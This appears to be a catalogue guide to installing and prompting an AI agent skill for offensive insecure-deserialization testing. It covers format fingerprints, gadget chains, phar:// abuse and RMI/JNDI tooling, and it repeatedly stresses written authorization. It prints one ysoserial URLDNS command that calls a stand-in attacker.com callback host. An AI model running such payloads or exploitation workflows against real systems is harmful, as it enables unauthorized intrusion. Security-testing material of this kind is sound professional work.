Skip to content

Guide · Agent skill

How to use the Offensive Deserialization Testing agent skill

Updated · written with AI from the project's own documentation and checked against our catalogue data

The offensive-deserialization skill is a security-testing playbook that teaches an AI agent how to find and exploit insecure deserialization flaws, where an application rebuilds objects from untrusted serialized data. This guide explains what the skill makes the agent do, how to install it, how to ask for it with natural requests, and what to keep in mind before using it. It is written for authorized penetration testers, application security engineers and students.

Offensive Deserialization TestingSnailSploit/Claude-Red · MIT

Quick start

  1. 1Download the ZIP. Get the offensive-deserialization ZIP from this page and unzip it. It contains SKILL.md.
  2. 2Place the skill folder. Move the folder into ~/.claude/skills/ for personal use, or into a project's .claude/skills/ folder.
  3. 3Or upload it in the apps. In the Claude apps, go to Settings → Capabilities → Skills and upload the skill.
  4. 4Install prerequisites. Install a Java runtime and download ysoserial.jar yourself. Add nmap and marshalsec only if you need the RMI and JNDI examples.
  5. 5Confirm written authorization. Make sure you have written permission for each target system before any request.
  6. 6Ask with a natural request. Describe the target, the language, the suspected serialized data and the engagement scope in plain words.
  7. 7Start with a safe proof. Ask for a URLDNS or other harmless check first, then document the full chain.

What the skill makes the agent do

Insecure deserialization happens when an application reconstructs objects from serialized data without checking the type, integrity or origin of that data. Reconstruction can run constructors and language-specific magic methods, so attacker-controlled input can lead to code execution before any application validation runs.

Once installed, the agent follows a workflow from the skill: it enumerates entry points that accept opaque or encoded data (cookies, HTTP bodies, headers, message queues, file uploads, JMX/RMI endpoints), fingerprints the serialization format, selects candidate gadget chains matching the target's libraries, and generates payloads with tools such as ysoserial, phpggc or ysoserial.net. It recommends starting with a harmless proof, such as a DNS-only or sleep-based check, and documenting the full chain.

  • Recognises formats such as Java ObjectInputStream (hex ac ed 00 05, Base64 rO0AB), PHP serialize, .NET BinaryFormatter, Python pickle and Ruby Marshal.
  • Explains sinks such as ObjectInputStream.readObject(), unserialize() and phar:// file operations.
  • Covers Java in detail. The description also lists Python, Node.js, Ruby, Spring, Laravel and Symfony topics, but the SKILL.md body provided only contains the Java sections and a start of the PHP section.

Install the skill from the ZIP

Download the ZIP for offensive-deserialization from this page and unzip it. The skill is a folder containing a SKILL.md file. Place that folder in your personal skills directory, ~/.claude/skills/, or in a project's .claude/skills/ directory if you want it limited to one project.

You can also upload the skill in the Claude apps under Settings → Capabilities → Skills.

  • Personal install: unzip into ~/.claude/skills/.
  • Project install: unzip into the project's .claude/skills/ folder.
  • Claude apps: upload under Settings → Capabilities → Skills.

Trigger the skill with natural requests

You do not need a special command. The skill activates when your request involves deserialization sinks, serialized data in cookies or request bodies, gadget chain development, magic method abuse, ysoserial payload generation, or a review of marshalling and unmarshalling logic. Name the target, the language and what you have already seen, and state that the engagement is authorized.

  • "We have written authorization to test app.example.com. The session cookie starts with rO0AB, so check whether it is Java deserialization and suggest a safe proof."
  • "Review this Java code for ObjectInputStream.readObject() on untrusted input and list the sinks."
  • "The target is a PHP app on an authorized engagement. A file upload path is passed to file_exists(). Assess whether phar:// abuse is possible."
  • "Generate a URLDNS ysoserial payload for confirming deserialization in our test environment."

Example: a safe first check on Java

The skill recommends URLDNS as a detection step because it only performs a DNS lookup and does not achieve code execution. The command below is copied from the skill source. Replace the host with a domain you control for the callback.

  • Generate the payload and save it to a file.
  • Send it to the identified entry point in the authorized test.
  • Check your DNS logs for a lookup to your domain before attempting any other chain.
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin

What you need before you start

The skill requires a Java runtime and the ysoserial.jar tool, which is an external download and is not included. The RMI and JNDI examples also need nmap and marshalsec. Written authorization for the target system is a hard requirement, not an optional extra.

  • Java runtime and ysoserial.jar (external download).
  • nmap and marshalsec, only for the RMI and JNDI examples.
  • Written authorization for every target system.
  • Network access to the target and to a callback host you control.

Safety notes on scripts and network use

The skill does not run scripts itself, but it does use the network. Its payloads can make targets connect out to hosts you specify, and some chains execute commands on the server. Use only authorized targets, keep callbacks under your control, and prefer DNS-only or sleep-based proofs before escalating.

The skill explicitly covers escalation to engagement objectives, and that step is only appropriate with written permission. Without authorization, using it against third-party systems is illegal.

  • Do not point the skill at systems you do not have written permission to test.
  • Use proofs that are harmless, such as URLDNS, before running command-execution chains.
  • Record each step so the finished report shows the entry point, format, gadget chain, library versions and proof.

Tips for better results

Give the agent concrete evidence: the cookie or body prefix, the error message, and any library or framework versions you know. The skill's own workflow depends on matching the gadget chain to the target's classpath, so the more you share, the better the chain selection will be.

The Java content is the most detailed part of the file. For PHP, Python or .NET work, expect less guidance from this SKILL.md and verify commands yourself.

  • Share error messages, since they can reveal serialVersionUID mismatches.
  • Name the library versions in use, because chains such as CommonsCollections depend on them.
  • Ask for a proof-of-concept first, then ask for the full write-up.

What people use it for

  • Checking whether a Java session cookie starting with rO0AB is an ObjectInputStream entry point on an authorized test.
  • Reviewing Java source code for ObjectInputStream.readObject(), XMLDecoder or XStream calls on untrusted input.
  • Generating a URLDNS ysoserial payload to confirm deserialization in a test environment.
  • Assessing an RMI registry on port 1099 during an authorized internal assessment, using the nmap command from the skill.
  • Reviewing a PHP file operation on a user-controlled path for phar:// wrapper risk.

Frequently asked questions

How do I install the offensive-deserialization skill?

Download the ZIP from this page and unzip it into ~/.claude/skills/ for personal use, or into a project's .claude/skills/ folder. You can also upload it in the Claude apps under Settings → Capabilities → Skills.

What does the offensive-deserialization skill require?

It requires a Java runtime and ysoserial.jar, which you download separately. nmap and marshalsec are needed only for the RMI and JNDI examples, and you must have written authorization for every target.

Does the skill run scripts or use the network?

According to the listing, it does not run scripts but does use the network. Its payloads can make targets connect to hosts you specify, so keep callbacks under your control.

Is the offensive-deserialization skill free to use?

The skill is published under the MIT licence. This page does not list a price, so check the licence text in the repository for the terms.

Does this skill cover PHP, .NET and Python as well as Java?

The description lists PHP, .NET, Python, Node.js and Ruby, but the SKILL.md body provided only contains the Java sections and the start of PHP. Verify commands for other languages yourself.

Is the skill only for attackers, or can developers use it too?

It is mainly an offensive playbook and gives little remediation guidance. Application security engineers can use it to check whether their own serialization code is exploitable, but developers who only need to fix the code will need other resources.

New agent skills, repos and AI tools — every week

The best new skills and open-source projects, the fastest-growing repos, and one free prompt. Five minutes to read. Unsubscribe anytime.

Our verdict

Use this skill if you run authorized penetration tests or code reviews against Java applications and want an agent that recognises serialized data and proposes safe, documented proofs. Pick something else if you need remediation guidance, coverage of non-Java languages in depth, or any work on systems you are not authorized to test.

Download the skill